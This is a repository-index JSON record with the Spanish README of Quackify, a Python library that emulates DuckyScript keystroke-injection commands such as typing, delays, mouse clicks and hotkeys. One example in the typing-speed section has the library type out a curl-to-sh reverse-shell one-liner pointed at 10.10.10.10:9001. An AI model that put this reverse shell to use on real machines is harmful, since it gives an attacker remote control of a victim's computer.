{"id":20992988,"url":"https://github.com/euronymou5/quackify","last_synced_at":"2025-12-26T08:59:48.508Z","repository":{"id":220584484,"uuid":"737463858","full_name":"Euronymou5/Quackify","owner":"Euronymou5","description":"Quackify es una biblioteca para Python que emula diversas funciones del duckyscript.","archived":false,"fork":false,"pushed_at":"2024-02-02T21:23:18.000Z","size":53,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-02-20T04:36:12.488Z","etag":null,"topics":["ducky-payloads","ducky-script","duckypad","duckyscript","duckyscript-language","duckyscript-python","duckyscripts","python","python-duckyscript","python3","rubber-ducky","rubber-ducky-script","rubberducky"],"latest_commit_sha":null,"homepage":"https://pypi.org/project/quackify/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Euronymou5.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2023-12-31T05:56:17.000Z","updated_at":"2024-02-03T10:24:57.000Z","dependencies_parsed_at":"2024-02-02T22:29:31.473Z","dependency_job_id":"8b23f46d-a30e-41fd-9a54-12e13bd8ac09","html_url":"https://github.com/Euronymou5/Quackify","commit_stats":null,"previous_names":["euronymou5/quackify"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Euronymou5%2FQuackify","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Euronymou5%2FQuackify/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Euronymou5%2FQuackify/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Euronymou5%2FQuackify/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Euronymou5","download_url":"https://codeload.github.com/Euronymou5/Quackify/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243404180,"owners_count":20285525,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ducky-payloads","ducky-script","duckypad","duckyscript","duckyscript-language","duckyscript-python","duckyscripts","python","python-duckyscript","python3","rubber-ducky","rubber-ducky-script","rubberducky"],"created_at":"2024-11-19T07:13:21.105Z","updated_at":"2025-12-26T08:59:48.478Z","avatar_url":"https://github.com/Euronymou5.png","language":"Python","readme":"# Quackify\n\n\u003cimg src=\"https://media.discordapp.net/attachments/995599976463859713/1194480347782590658/quackify_logo_png.png\"\u003e\n\n-----------\n\n*Quackify es una biblioteca para Python que emula diversas funciones del Duckyscript.*\n\nEntre varias de ellas, encontramos funciones básicas como \"string\", \"rem\" y \"delay\".\n\nMuchas de las funciones se inspiraron en [DuckyPad](https://github.com/dekuNukem/duckyPad).\n\n# Uso\n\n## Funciones\n\n### String\n\nLa función \"string\" emula lo que sería un \"string\" normal en un Duckyscript.\n\n```\nSTRING Hola Mundo\n```\n\nEl dispositivo simplemente emulará la entrada de teclado de las letras \"H\", \"o\", \"l\", \"a\", espacio, \"M\", \"u\", \"n\", \"d\", \"o\" en ese orden. Esencialmente, el script simulará que alguien está escribiendo \"Hola Mundo\" en el teclado de la computadora.\n\nConvertido a python, seria:\n\n```python\nfrom quackify import send\n\nsend.string(\"Hola Mundo\")\n```\n\n### Rem \n\nLa función \"rem\" emula lo que sería el comentario en Duckyscript, comúnmente utilizado para proporcionar explicaciones o notas.\n\n```\nREM Este es un comentario en un Duckyscript.\n```\n\nConvertido a python, seria:\n\n```python\nfrom quackify import rem\n\nrem.add_comment(\"Este es un comentario en Quackify\")\n```\n\n*Esta función fue creada con el propósito de colaborar con otro proyecto que facilitará la traducción de código Python a Duckyscript y viceversa, aunque se reconoce que la utilidad de esta funcion puede ser muy poca.*\n\n### Delay \n\nLa función \"delay\" emula lo que sería la pausa por un tiempo determinado en un Duckyscript.\n\n```\nSTRING Hola\nDELAY 500\nSTRING Mundo\n```\n\nEn este caso, el script primero simula la entrada de teclado \"Hola\" y luego espera 500 milisegundos (o medio segundo) antes de simular la entrada de teclado \"Mundo\".\n\nConvertido a python, seria:\n\n```python\nfrom quackify import send, delay\n\nsend.string(\"Hola\")\ndelay.delay(500)\nsend.string(\"Mundo\")\n```\n\n### Interacción con el ratón.\n\nQuackify también incluye funciones para interactuar con el cursor, como clic derecho, clic izquierdo, emulación de clic de rueda del mouse, así como para mover el cursor a coordenadas específicas y para imprimir las coordenadas actuales del cursor.\n\n```python\n# mouse_click.right()  =  RMOUSE\n# mouse_click.left() = LMOUSE\n# mouse_clicl.middle() = MMOUSE\n````\n\nEmular click derecho, izquierdo y rueda del mouse:\n\n```python\nfrom quackify import mouse_click\n\n# Click derecho\nmouse_click.right()\n\n# Click izquierdo\n\nmouse_click.left()\n\n# Clickear usando la rueda del mouse\n\nmouse_click.middle()\n```\n\nCon Quackify, también puedes emular el movimiento del cursor de manera similar a la función \"MOUSE_MOVE\" de DuckyPad.\n\n```python\nfrom quackify import mouse_move\n\nmouse_move.move(1344, 17)\n```\n\nCon esto, el cursor se moverá a las coordenadas proporcionadas. Además, Quackify incluye la función **\"get_pos\"**, que nos permitirá visualizar la posición actual del cursor.\n\n```python\nfrom quackify import mouse_move\n\nmouse_move.get_pos()\n```\n\nCon esto, se mostrarían las coordenadas x,y del cursor, y no sería necesario agregar un comando print, ya que este ya está integrado en el código.\n\n### Velocidad de escritura\n\nTambién, la función string incluye una función adicional llamada **\"speed\"**. Con esta función, podremos configurar la velocidad a la que el script escribirá, como se muestra en el siguiente ejemplo:\n\n```python\nfrom quackify import send\n\nsend.speed(1)\nsend.string(\"C='curl -Ns telnet://10.10.10.10:9001'; $C \u003c/dev/null 2\u003e\u00261 | sh 2\u003e\u00261 | $C \u003e/dev/nul\")\n```\n\nSi se desea ajustar la velocidad de escritura, es necesario **declarar la función \"send.speed\" antes de llamar la funcion \"send.string\"**.\n\nUn número mayor, por ejemplo, 1, 2, 3, hará que la escritura sea más lenta. En cambio, si el número es menor, como 0.9, 0.5, 0.4, la escritura será más rápida.\n\n### Hotkeys\n\nQuackify también incorpora la capacidad de simular pulsaciones de teclas especiales, como ctrl, alt, shift, tab, enter, entre otras.\n\n```python\nfrom quackify import hotkeys\n\nhotkeys.hotkey('win+r')\n````\n\nAquí podemos simular la pulsación de teclas, como Windows + R, utilizando una única línea de código.\n\n**Todas las hotkeys disponibles en quackify:**\n\n```python\n['\\t', '\\n', '\\r', ' ', '!', '\"', '#', '$', '%', '\u0026', \"'\", '(',\n')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7',\n'8', '9', ':', ';', '\u003c', '=', '\u003e', '?', '@', '[', '\\\\', ']', '^', '_', '`',\n'a', 'b', 'c', 'd', 'e','f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\n'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~',\n'accept', 'add', 'alt', 'altleft', 'altright', 'apps', 'backspace',\n'browserback', 'browserfavorites', 'browserforward', 'browserhome',\n'browserrefresh', 'browsersearch', 'browserstop', 'capslock', 'clear',\n'convert', 'ctrl', 'ctrlleft', 'ctrlright', 'decimal', 'del', 'delete',\n'divide', 'down', 'end', 'enter', 'esc', 'escape', 'execute', 'f1', 'f10',\n'f11', 'f12', 'f13', 'f14', 'f15', 'f16', 'f17', 'f18', 'f19', 'f2', 'f20',\n'f21', 'f22', 'f23', 'f24', 'f3', 'f4', 'f5', 'f6', 'f7', 'f8', 'f9',\n'final', 'fn', 'hanguel', 'hangul', 'hanja', 'help', 'home', 'insert', 'junja',\n'kana', 'kanji', 'launchapp1', 'launchapp2', 'launchmail',\n'launchmediaselect', 'left', 'modechange', 'multiply', 'nexttrack',\n'nonconvert', 'num0', 'num1', 'num2', 'num3', 'num4', 'num5', 'num6',\n'num7', 'num8', 'num9', 'numlock', 'pagedown', 'pageup', 'pause', 'pgdn',\n'pgup', 'playpause', 'prevtrack', 'print', 'printscreen', 'prntscrn',\n'prtsc', 'prtscr', 'return', 'right', 'scrolllock', 'select', 'separator',\n'shift', 'shiftleft', 'shiftright', 'sleep', 'space', 'stop', 'subtract', 'tab',\n'up', 'volumedown', 'volumemute', 'volumeup', 'win', 'winleft', 'winright', 'yen',\n'command', 'option', 'optionleft', 'optionright']\n```\n\nSi es necesario combinar más de una combinación de teclas, se tendría que colocar de la siguiente manera:\n\n```python\nfrom quackify import hotkeys\n\nhotkeys.hotkey('win+v')\n```\n\nEn este ejemplo, se muestra la combinación de teclas para abrir el portapapeles de Windows. \n\nEn caso de que solo sea necesario pulsar una tecla especial, únicamente se colocaría el nombre de esta.\n\n```python\nfrom quackify import hotkeys\n\nhotkeys.hotkey('enter')\n```\n\n### Loops\n\nAunque Quackify no incorpora bucles personalizados, es posible realizarlos fácilmente utilizando la sintaxis de Python. Observemos la recreación de este código de Duckyscript en Python:\n\n```\nSTRING Hello world\nREPEAT 10\n```\n\nEsto repetiría la instrucción \"STRING Hello world\" 10 veces.\n\nEn Python, se traduciría de la siguiente manera:\n\n```python\nfrom quackify import send\n\nfor _ in range(10):\n   send.string(\"Hello World\")\n```\n\nIgualmente, ocurriría lo mismo con los bucles **While**.\n\n```\nWHILE TRUE\n    STRING Hola Mundo\nEND_WHILE\n```\n\nEn Python, se traduciría de la siguiente manera:\n\n```python\nfrom quackify import send\n\nwhile True:\n  send.string(\"Hola Mundo\")\n```\n\n## Instalacion\n\n*Usando pip*\n\n```\npip install quackify\n```\n\n*Desde setup.py*\n\n```bash\npython setup.py install\n```\n\n# Licencia\n\n[MPL-2.0 license](https://github.com/Euronymou5/Quackify/blob/main/LICENSE)\n\n# Contacto\n\n*Preguntas, dudas, ideas:*\n\n**• Discord: euronymou5**\n\n*Bugs, Problemas de instalacion*:\n\n• **[Reportar en los GitHub Issues](https://github.com/Euronymou5/Quackify/issues)**\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Feuronymou5%2Fquackify","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Feuronymou5%2Fquackify","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Feuronymou5%2Fquackify/lists"}